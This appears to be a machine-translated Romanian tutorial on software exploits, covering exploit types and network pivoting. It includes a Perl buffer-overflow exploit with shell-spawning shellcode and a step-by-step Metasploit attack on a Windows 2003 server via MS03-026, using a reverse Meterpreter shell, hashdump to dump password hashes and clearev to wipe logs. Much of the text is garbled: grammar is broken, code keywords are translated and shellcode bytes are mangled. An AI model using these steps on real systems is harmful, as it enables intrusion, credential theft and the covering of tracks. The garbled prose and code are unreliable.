Există mai multe metode de clasificare exploit-uri. Cele mai comune este de cum a exploata contacte vulnerabil software. O exploatare de la distanță funcționează în rețea și exploatează la vulnerabilitate de securitate fără orice înainte de acces la sistemul de vulnerabile. Un exploit local necesită înainte de acces la sistem și crește de obicei vulnerabile de privilegiile de persoana pornit exploatarea trecut cele acordate de către administratorul de sistem. Exploateaza împotriva aplicații client de asemenea exista, de obicei constand din modificate servere care trimite un exploit dacă este accesată cu o aplicație client. Exploateaza împotriva aplicații client poate de asemenea solicita unele interacțiunea cu utilizatorul și astfel pot fi utilizate în combinație cu metoda de inginerie sociala. O alta clasificare este de actiune impotriva vulnerabil; sistemul de acces neautorizat de date, cod arbitrare executare si denial of service sunt exemple. Multe vulnerabilitati sunt concepute pentru a oferi acces la nivelul de superutilizator un sistem de calculator. Este totuși posibil de asemenea să utilizați mai multe exploit-uri, prima pentru a avea acces de nivel scăzut, apoi sa redirectionati privilegii în mod repetat până când unul ajunge la rădăcină. În mod normal un singur exploit nu poate beneficia de o vulnerabilitate de software specific. Adesea, când un exploit este publicat, vulnerabilitatea este fixată prin un patch și exploatarea devine invechit până la versiunile mai noi de software disponibile. De aceea unele palarie neagra de hackeri nu publica exploit-urile lor dar păstrați-le pentru ei sau alte private hackerilor. Astfel de exploit-uri sunt mentionate ca zero zi exploateaza si pentru a obține acces la astfel de exploit-uri este principala dorinta de a celei necalificate atacatori, adesea poreclit script kiddies.

Tipuri

Exploit-uri sunt de obicei clasificate și numit de către aceste criterii:

Tipul de vulnerabilitate le exploata (Consultați vulnerabilităților pentru o listă)

Daca au nevoie de a fi executați pe aceeași mașină ca programul care are vulnerabilitatea (local) sau poate fi rulat pe o mașină la atac un program la altă mașină (de la distanță).

Rezultatul a pornit exploatarea (EoP, DoS spoofing etc.)

Sistem pivotant

Sistem pivotant se referă la o metodă utilizată de testere de penetrare care utilizează sistemul de a ataca alt compromis sisteme de pe aceeași rețea pentru a evita restricțiile firewall configurații, care poate interzice accesul direct la toate mașinile. De exemplu, dacă un atacator compromisuri un server web de pe o rețea corporativă, atacatorul poate apoi utilizați compromisă de server web de a ataca alte sisteme de pe rețea. Aceste tipuri de atacuri sunt deseori numite atacuri cu straturi multiple. Sistem pivotant este cunoscut de asemenea ca insula hopping.

Sistem pivotant pot fi distinse în proxy VPN pivotant rotind:

In general pivotant proxy descrie practica distribuind traficul prin un compromis cu ajutorul unui proxy de sarcina utilă țintă de pe mașină și de a ataca din calculator.[2] Acest tip de pivotare este limitată la anumite porturi TCP si UDP care sunt suportate de proxy.

VPN permite pivotant la atacator pentru a crea un strat de tunel criptat în compromisă mașina la rută orice trafic de rețea prin care mașina țintă, de exemplu pentru a rula o vulnerabilitate scanare pe rețeaua internă prin compromis mașinii, eficient oferind atacatorului acces la rețea completă ca în spatele firewall.

De obicei, proxy-sau aplicații VPN permite rotind sunt executate calculatorului țintă ca și sarcina utilă (software) unui exploit.

III.2.Anatomia unui exploit

Introducerea pe exploit-uri

În zilele noastre cuvântul exploit este de a deveni speriat, mii de popoare

Care sunt în domeniul ar trebui(este o trebuie să știi să) un exploit sau chiar

Cum sa se apere de eexploits.acolo sunt sute de exploit-uri

Care sunt publicate în mai multe site-uri Web exploatarii utilizând un program de rutină sau un 0 day de atac.

La proprii de operare sau gafele programul .exploateaza un program este un inteligent

Mod de a calculatorului pentru a face ceea ce doriți a, chiar dacă în prezent

Pornit programul a fost conceput pentru a preveni ca actiunile.Se poate face numai ce ai 

Au programat pentru a face.Pentru a scapa de exploit ar trebui să învețe limba grupului

Ce este limba care poate vorbi direct în kernel, C,c++,Perl, Python 

Programarea sistemului de fimei apeluri() putem numi kernel.Pentru mine aceste limbi

Sunt de ajuns dar din calculator sunt in evolutie nu trebuie să învățați 

Alt limbaj de programare.În acest studiu  nu o sa ma publica exploit dar sa explice

A face din ea, de importanta de ea și ștergerea o neînțelegere în mintea noastră,

În creierul nostru, astfel încât atunci când am citit un cod sursă nu trebuie confundate.Dar cineva 

În IRC a cerut sa-mi cum multe tipuri de exploit avem .În realitate nu există 

Prea multe tipuri de exploit-uri dar voi menționa cele mai importante

Exploit-uri care sunt utilizate de astăzi.

––-# exploatările de la distanță

Exploit-uri pot fi dezvoltate aproape în orice sistem de operare, dar cel mai

Confortabil OS este Linux și Windows yyyymmdd.

Avem nevoie să instalați instrumentele precum Microsoft Visual C++,python 2.7 sau perl și utilizarea lor 

În CMD.Dar în Linux gcc, ca, sunt setările implicite dl GNU o redactaseră.

În Linux trebuie să fi învățat socluri pentru a obține o rutina și beneficiați de lucrarile efectuate.

Avem fimei învelișului este prea important pentru a programa un exploit.Dar în această secțiune

 Scopul este înțelegerea exploatările de la distanță și crearea de bază.

Scăpa de vulnerabilitate a programului doriți sau sistemul doriți 

Pentru a obține prigileges pe sistem.Aici vom merge in arta Fuzzing globalizäƒrii trimite 

Multe caractere la preaplin sau la inundații și a programului Crash.Dar cum stim

Care este adresa eip, pentru a obține o poate exploata in mod ret2eip care reprezinta

Ret2eip=reveni adresa eip.im explică pași:

[Pasul unu]

Înainte de a vă dezvolta orice exploit, de care aveți nevoie pentru a determina dacă o vulnerabilitate

Există în aplicație. Aceasta este în cazul în arta de a fuzzing intră în joc.

Deoarece este de la distanță nu putem stii adresa registrul în globalizäƒrii naruite programului.

Acest pas este de a obține o mai bună fuzzer precum și cuie Metasploit.Când 

Fuzzer va fi oprit doar ne obține lungimea lui char.

[Pasul doi]

Obțineți pe munca cu fuzzer.practica.Rulați-l.In acest pas am fugit de fuzzer

Și ce vom primi doar de lungimea hexa dar de a exploata un program avem nevoie de EIP.

Lungime X1H21hsdpgm234jlasn356kklasdn432210ifaslkj4120………. sd) etc.

Avem doar lungimea.

[Pasul trei]

Am descărca programul în sistemul nostru și testul cu fuzzer.ca tinta este

127.0.0.1 lansăm un debugger ca Ollydbg si vom vedea ce se va intimpla

Când pufoasa va începe. programul va fi revărsat și eip va fi pe roșu

Linie. Aici am primit ceea ce am dorit sa .Am primit eip, acum ce.

[Pasul patru]

Pregătiți shellcode.Ce este shellcode?-Shellcode este făcută în limba grupului

Cu instrucțiuni pentru a obține shell cu apelurile de sistem ca execve sau execl.

Notă #

Im având în minte că știi ansamblul și cum să obțineți shellcode de la acesta

Cu programe precum objdump, gcc etc.

[Pasul patru]

Pregătiți exploata cu necesitatea de a.În această secțiune im utilizând o perl script

Să vă prezint pe exploatarea în mod de bază.

#!/usr/bin/perl

Utilizați priza IO::;

$hederul = "TRUN /.:/";  (am pus TRUN hederul aici)

$junk = "" x model; (junk sau ca gunoaiele de la revărsare)

(putem ajunge la modelul cu 

Modelul dispozitivului de metasploit_crea)

$eip = pack('v", 0x85f61a2f); ( EIP, cele mai importante de exploit)

$nop = "\x90" x 20; (NOP=nicio operație, făcând shellcode nonull)

$shellcode =  (shellcode)

"\x31\xc0\x31\xdb\x31\xc9\x31\XD2\xb0\x46\\x80 xcd\x51\" +

"x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53" +

"\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";

Priza de dolari = IO::Socket::INET->noi( (I/O PRIZĂ INET FAMILIA)

Proto => "tcp", (Protocolul TCP)

PeerAddr => "$ARGV[0]", (Prima Arg)

PeerPort => "$ARGV[1]", (doua Arg)

);

Socket->recv ($serverdata, 1024); (Date vom primi)

Imprimați $serverdata; (Print ca date)

Priza de dolari->Send($hederului.$junk.$eip.$nop.$shellcode); (priza cu ajutorul pentru a le trimite toate)

[Pasul cinci]

Avem exploit, acum de pe executați -l.Pentru a exploata mai sus am introduceți comanda:

Root@ADMIN~:/root$ ./exploit.pl gazdă țintă

Și dacă ar fi reușit veți obține un shell în sistem și, dacă 

Au coaja puteți obține pe kernel exploit pentru a obține privilegii root. Aici vom merge

Pe exploatările locale care vor fi explicate acum.

––-# Exploit Local

Acestea sunt cele mai dificult exploit pentru a dezvolta becauze aici ar trebui să învețe mediul UNIX

Și syscalls() care sunt nedded au o carcasă pe uid.UID standuri pentru ID utilizator și 

Uid de rădăcină va fi întotdeauna 0.Pentru a intelege acest tip de exploit ar trebui să știi absolut

 Limba de lucru în jurul ansamblului cu __NR_$syscall.__NR_$syscall sunt enumerată în dir de

/usr/include/asm-generică/unistd.h acolo unde sunt toate numărul pentru fiecare 

Ansamblul syscall().limba este cel mai utilizat pentru prepararea shellcode outthere, aici avem 

Un program care este pauză.asm

Root@ADMIN~:/root$ cat pauză.asm

Secțiunea .text Secțiunea text ;

 _global start ; _start este global

_start: ; funcția de pornire _

Anu sau ebx, ebx ; ebx zero în registru

Mov al, 29 ; Introduceți __NR_pause 11 syscall, consultați "Anexa A"

Int 0x80 ; Syscall executa

Asamblați și Link

Root@ADMIN~:/root$ nasm -f elf pauză.asm && ld pauză.o -o pauză

Timp pentru a rula

Root@ADMIN~:/root$ ./pauză

^c

Ea a lucrat și pauză sistemului, am folosit Ctrl-C pentru a ieși din program.

Obține acum trece indicatorul

Root@ADMIN~:/root$ objdump -d pauza.o

Pauză.o: file format elf32-i386

Dezasamblarea secțiunea .text:

00000000 <_start>:

  0: 31 db   Anu sau  %ebx,%ebx

  2: B0 1d   Mov  $0x1d%al

  4: Cd 80   Int  $0x80

Aceasta este o mică shellcode dar nu si daca acesta va fi lunga.

Am folosit pentru a face cale xxd mai ușor, vezi Apendix B.

Root@ADMIN~:/root$ ./xxd pauză.o

"\x31\xdb\xb0\x1d\\x80 xcd"

Testul Shellcode

Root@ADMIN~:/root$ ./shtest "\x31\xdb\xb0\x1d\\x80 xcd"

Shellcode la 0x804B140

Înregistrează înainte de apel:

  Esp: 0xbfbf0D70, ebp: 0xbfbf0da8

  : (zero) esi, Edi: (zero)

––––––––––––

^C

Aici am utilizat testerul shellcode facute de hellman, vezi Apendix C.Am văzut că sistemul

Întrerupe și executate de shellcode cu succes.

Dar scopul este de a obține exploit local de superutilizator , prin syscall poate fi facut

Daca ne folosim de rutină de la pneul până la sistem și limită de linux-astfel încât.poarta.1 pentru a obține uid=0.

Care este scopul principal al exploit local, deoarece ați exploata un sistem de care aveți nevoie 

 Efectuarea de acțiuni de priveleges acest sistem.Nu pot fi apelați exploateaza dar o SETUID

Program de facut cu scapi de sistem <– Ca ce Linus Torvalds a spus.

Și este de dreapta din moment ce facem un program în limba cu sistem impune ansamblului

Și ne- shell root. trece indicatorul de sunt coduri hex care fac un apel direct

De kernel. codurile astfel vorbește cu kernel și spune ea pentru a obține shell root sau 

I se va revărsa ai.de a lua o scurtă înțelegere în shellcodes trebuie să citiți

Lucrările care sunt publicate în afara de pe Internet sau citit carti care sunt dedicate

Pe această programare calculator sunt de stiinta.

Dezvoltarea unui exploit local ar trebui sa ne fie stiu gramajoara fimei joacă în jurul revărsare

Cu programele, Depășiri memorii tampon de  tampon cu rol funcțional registrul și 

Supape hidraulice pe baza de la revărsare.

După ce ați citit-le veți obține o intelege mai bine cum functioneaza sistemul și cum

Registrul funcționează și cum să le faci ceea ce ai programat de program pentru a face.astăzi 

Toate de oameni sunt concentrate pe social media si a plecat de computer science, sunt 

Nu mai dedicat citirii, astăzi lechers sau script kiddies citește unele de hârtie și copierea elementelor

Programul este de a fuziona în unul și ei isi spun programatori.Nu, asta este greșită.

 Niciodată nu va deveni programatori ca exemplare programele altor persoane sa o. Acest sentece pe aici.Tot ceea ce vreau sa spun ca nu avem idei de script kiddies pe sistemele

Numai daca programele de copiere, astfel încât să facă exploit local ar trebui sa avem o idee și o 

Scop cu multe imaginare si aflați cum funcționează sistemul.

În mod ingenios de im sa spun ca făcând SHELLCODE și exploatare trebuie idei.

Înainte de a merge la un "real" exploit local am sa va explic și unul mai fimei shellcode

Utilizează netcat să obțineți un uid=0 gid=0 grupuri=0 shell root.

Exploatarea vulnerabilitatiilor unui system informatic

IV.1. Test de penetrare

Cand spun "Penetrarea dispozitivului de testare" primul lucru care vă vine în minte este cel mai mare proiect, cu peste Ruby 700.000 de linii de cod "etasploit". Nici nu era de mirare devenit de-facto standard pentru teste de penetrare și dezvoltarea de vulnerabilitate cu mai mult de un milion de descărcări de unică pe an și cele mai mari din lume, baza de date publice de calitate garantată exploit-uri.

În  cadrul Metasploit este un program și sub-proiect dezvoltat de Metasploit LLC. Acesta a fost inițial creat în 2003 în Perl limbaj de programare, dar mai tarziu a fost complet re-scrise în limbajul de programare Ruby Cu cea mai recentă versiune (3.7.1) Metasploit a luat exploit testarea și simulare la un nivel complet nou care a musculos afară sale de mare preț omologii comerciale prin creșterea vitezei și letalitate codului de exploit în timp cât mai scurt posibil.

 Cadrul Metasploit urmează anumite etape cheie pentru exploatarea unui sistem care include –

Selectati și configurați exploit sa fie descoperite. Acesta este codul care vor fi orientate spre un sistem cu intenția de a profita de un defect în software. 

Validați dacă sistemul ales este susceptibil la exploatare de ales. 

Selectați și configurează un payload care va fi utilizat. Această sarcină utilă reprezintă codul care va fi executat pe un sistem după o buclă de găuri a fost găsit în sistem și un punct de intrare este setat. 

Selectați și configurați schema de codificare pentru a fi utilizate pentru a vă asigura că sarcina utilă să scăpăm de sisteme de detectare a intruziunilor cu ușurință. 

Executa exploit. 

În acest articol vom da o descriere detaliata a utilizării Metasploit cadrul pentru a executa exploit-uri cu ilustrațiile grafice și comenzi.

IV.2. Utilizarea framework-ului Metasploit

Metasploit este ușor de utilizat și este proiectată cu ușurință de utilizare în minte la ajutor testere de penetrare.

Voi fi ținând să prin acest demo în se retragă 5, așadar download că dacă nu aveți deja aceasta – Http://www.backtrack-linux.org/downloads/  motivul cu ajutorul se retragă 5 este deoarece a bibliotecilor Ruby corectă.

 Cadrul Metasploit are trei medii de lucru, msfconsole, msfcli de interfață și msfweb interfață. Totuși, primar și cel mai preferat de zona de lucru este "sfconsole". Este un eficient interfață cu linie de comandă care are propriul set de comenzi și sistemul de mediu.

Înainte de executarea exploit dvs., este util să înțeleagă ce unele  comenzi de Metasploit fac. Mai jos sunt câteva dintre comenzile care va utiliza majoritatea. Explicatia grafice de ieșirile lor ar fi dat ca și când noi le folosim în exploatarea unele cutii ulterior în partea de articol.

Căutare <keyword> : Introducerea textului în comanda 'Search' împreună cu cuvântul cheie liste a diverselor posibil exploit-uri care au ca model de cuvânt cheie. 

Afișare exploit-uri : Introducerea textului în comanda "cum exploit-uri" conține disponibile în prezent exploit-uri. Există activation exploit de la distanță pentru diverse platforme și aplicații inclusiv Windows, Linux, IIS, Apache, si pe care ajuta la testul de flexibilitatea și înțelegeți funcționarea Metasploit. 

Afișare payloads : Cu același "cum" comanda, putem de asemenea lista de payloads disponibile. Putem folosi o "cum payloads' pentru a lista payloads. 

Afișare opțiuni : Introducerea textului în comanda "cum opțiuni" vă va arăta opțiuni pe care ați setat și eventual cele care este posibil să fi uitat să setați. Fiecare exploit și sarcina utilă vine cu propriile opțiuni pe care le puteți seta. 

Info <tip> <numele>: Dacă doriți informații specifice despre un exploit sau de sarcina utilă, aveți posibilitatea să utilizați "info" comanda. Sa zicem si noi info complet payload "oav libclamav". Putem folosi 'info payload oav libclamav". 

Utilizați <exploit_name> : Această comandă permite Metasploit de utilizare a exploata cu numele specificat. 

Setați RHOST <hostname_sau_ip> : Această comandă va instrui Metasploit la țintă specificate de la gazda la distanþã. 

Setați RPORT <host_Port> : Această comandă setează port care Metasploit se va conecta la gazda la distanță. 

Setați PAYLOAD <generic/shell_bind_tcp> : Această comandă setează sarcina utilă care este utilizat pentru un generic de sarcina utilă care vă va oferi un shell atunci când un serviciu este exploatat. 

Setați LPORT <local_Port> : Această comandă setează numărul de port ca payload va deschide pe server când un exploit este exploatata. Este important ca acest număr de port de fi un port care poate fi deschis de pe server îndelungată (nu este utilizat de către un alt serviciu și nu sunt rezervate pentru utilizarea administrative), astfel încât să setați o intamplare 4 digitnumber mai mare de 1024 și ar trebui să fie bine. Va trebui să modificați numărul de fiecare dată când exploatarea cu succes un serviciu precum. 

Exploit : de fapt serviciului. activation exploit O altă versiune a exploata,  incarcaturi rexploit codul exploit dvs si executa exploit. Aceasta vă permite să încercați modificări minore la codul exploit dumneavoastră fără a reporni consolă 

Ajuta : "Help" comanda vă va oferi informații de bază de toate comenzile care nu sunt enumerate aici. 

Acum că sunteți pregătit cu toate comenzile de bază de care aveți nevoie pentru a lansa exploit , vă permite să alegeți câteva scenarii pentru a obține controlul o mașină conectată la distanță.

Scenariu :

PC Victima –

OS: Microsoft OS

IP: IP: 192.168.42.128

Atacatorul ( ) Kali-OS:

Versiunea de kernel:  GNU/Linux  versiunea Metasploit: 

IP: 192.168.42.128

Obiectiv-

Singura informatiile furnizate de noi despre serverul la distanță este că este un server Windows 2003 și obiectivul este de a câștiga acces la shell de acest server de la distanță.

 Etapele detaliate:

Pasul 1:

Efectuați o  scanare Nmap serverului la distanță 192.168.42.129

Ieșirea de  scanare Nmap ne arata o serie de porturi deschise care poate fi văzut de mai jos in figura 1.

Figura 1

Putem observa că există port 135 deschis. Astfel putem căutați în script Metasploit de a exploata și a obține acces la shell dacă acest server este vulnerabil.

Pasul 2:

În copia se retragă, treceți la:

Aplicația > se retragă > Instrumente de exploatare > Rețea Exploatarea Instrumente >  Cadru Metasploit > msfconsole

Figura 2

În timpul inițializării msfconsole, standard sunt efectuate controale. Dacă totul merge fine vom vedea ecranul ca în figura 3.

Pasul 3:

Acum stim ca port 135 este deschis deci, am căuta un exploit RPC în Metasploit conexe.

Pentru a lista toate exploit-uri acceptate de Metasploit folosim "show exploit-uri". Acest exploit listează toate disponibile în prezent exploit-uri și o mică parte din ea este din figura 4.

Figura 4

Așa cum poate fi observat, implicit de instalare a Metasploit cadrul 3.8.0-dev vine cu 696 exploateaza si 224 payloads, care este destul de un impresionant stocheaza astfel de diagnosticare un anumit exploit de la această listă foarte mare va fi o sarcină plictisitoare. Astfel, folosim o opțiune mai bună. Puteți fie să vizitați link Http://metasploit.com/modules/ sau alta alternativa ar fi de a utiliza "căutare <keyword>" comanda în Metasploit pentru a căuta legate exploit-uri pentru RPC.

În msfconsole de tip "search " pentru a căuta toate dcerpc exploit-urile legate de dcerpc cuvântul cheie ca ca exploit poate fi utilizată pentru a obține acces la server cu un port de vulnerabile 135. O listă a tuturor exploatările de conexe ar fi prezentate pe  fereastră și aceasta este msfconsole din figura 5.

Figura 5

Pasul 4:

Acum că aveți lista de  exploatările de rpc în față a tine, am nevoie de mai multe informații despre exploit inainte de utilizare. Pentru a primi mai multe informații cu privire la exploatarea puteți folosi comanda "info exploit/windows/dcerpc/MS03_026_dcom" care oferă informații precum obiective disponibile, exploatarea cerințele, detalii de vulnerabilitate în sine, și chiar referințelor unde puteți găsi mai multe informații. Acest lucru este prezentat în Figura 6.

Pasul 5:

Comanda "utilizați <exploit_name>" activează exploit de mediu pentru exploatarea <exploit_name>. În cazul nostru vom folosi comanda "utilizare exploit/windows/dcerpc/MS03_026_dcom" pentru a activa exploit noastre.

Figura 7

De la imaginea de mai sus este de observat că, după utilizarea exploit "exploit/windows/dcerpc/MS03_026_dcom" prompt trece din "msf>" la "msf exploit-ms03_026_dcom) >" care simbolizeaza ca am introdus un mediu de care exploit temporare.

Pasul 6:

Acum, avem nevoie să configurați exploata ca pe nevoia de scenariul actual. Opțiuni de "Show" Comanda afișează diferiți parametri care sunt necesare pentru exploatarea sa fie lansat corect. In cazul nostru, RPORT este deja setat la 135 și singura opțiune este la RHOST care poate fi setată cu ajutorul "set RHOST".

Vom intra în comanda "Set RHOST 192.168.42.129" și vom vedea că RHOST este setat la 192.168.42.129

Figura 8

Pasul 7:

Singurul pas rămas înainte de a ne acum lansa exploit este setarea de sarcina utilă pentru a exploata. Putem vedea toate disponibile cu ajutorul payloads "show payloads".

Cum este indicat în figura de mai jos, "show payloads" comanda va lista toate payloads care sunt compatibile cu exploatarea selectat.

Figura 9

Pentru cazul nostru, suntem cu ajutorul înapoi meterpreter tcp care poate fi setată cu ajutorul comenzii, "set de sarcina utilă windows/meterpreter/înapoi_tcp" care icre ale un shell dacă serverul la distanță este exploatat cu succes. Acum din nou trebuie să vizualizați opțiunile disponibile cu ajutorul "show options" pentru a vă asigura că toate secțiunile obligatorii sunt corect umplut astfel încât exploit este lansat corect.

Figura 10

Observam ca LHOST pentru o sarcină utilă nu este setat, astfel încât am să setați  firewall IP locale 192.168.42.128 utilizând comanda "Set LHOST 192.168.42.128"

Pasul 8:

Acum că totul este pregătit și exploatarea a fost configurat corect sa în timp pentru a lansa exploit.

Puteți să utilizați "" comanda pentru a verifica dacă victima mașinii este vulnerabil la exploatarea sau nu. Această opțiune nu este prezent pentru toate exploateaza dar poate fi o adevarata bun suport înainte să exploateze efectiv serverul la distanță pentru a vă asigura că serverul la distanță nu este peticit împotriva exploatării încercați impotriva.

În afară de caz ca în figura de mai jos, nostru selectat exploit nu acceptă opțiunea de verificare. [Figura 11]

Figura 11

"exploit" comanda de fapt lanseaza un atac, face orice ca are nevoie de face să fie executate în sarcină utilă de la sistemul de la distanta.

Figura 12

Imaginea de mai sus arată că exploatarea a fost executat cu succes împotriva distanþã 192.168.42.129 datorită portului vulnerabile 135.

Acest lucru este indicat de schimbare de solicitare de "meterpreter >".

Etapa 9:

Acum ca o conexiune inversă a fost setup între victimă și mașinii noastre, avem de control complet de server.

Putem folosi comanda "ajutor" pentru a vedea care toate comenzile pot fi utilizate de către noi pe server de la distanță pentru a efectua acțiuni conexe așa cum este afișat în figura de mai jos.

Mai jos sunt rezultatele unor meterpreter comenzi.

Figura 13

"ipconfig" se imprimă mașini de la distanță toate curente de rețea TCP/IP valorile de configurare – getuid" se imprimă numele de utilizator al serverului la consola de el.

"hashdump" haldelor conținutul SAM date.

"clearev" poate fi utilizată pentru a șterge toate urmele ca ai fost vreodată pe mașină.

Astfel am folosit cu succes Metasploit cadrul pentru a sparge în telecomandă Windows 2003 Server și obțineți acces la shell care poate fi utilizat pentru a controla de la distanță și efectuați nici un fel de operații ca pentru fiecare dorinta noastra.

Potențialul framework-uli Metasploit:

Metasploit poate fi utilizat în timpul testării de penetrare a valida rapoartele de alte instrumente de evaluare vulnerabilitate automată pentru a dovedi că vulnerablity nu este un fals pozitiv și pot fi exploatate. Are grijă de a luat deoarece aceasta nu numai că dezaprobe rezultate pozitive false, dar poate de asemenea pauze de lucruri. 

Metasploit poate fi utilizat pentru a testa noi vulnerabilitati care vin până aproape de zi cu zi de pe serverele de test găzduite local de a înțelege eficacitatea exploit. 

Metasploit este de asemenea un mare dispozitivului de testare pentru sistemele de detectare a intruziunilor pentru a testa IDS este de succes în prevenirea atacurilor. 

Similar Posts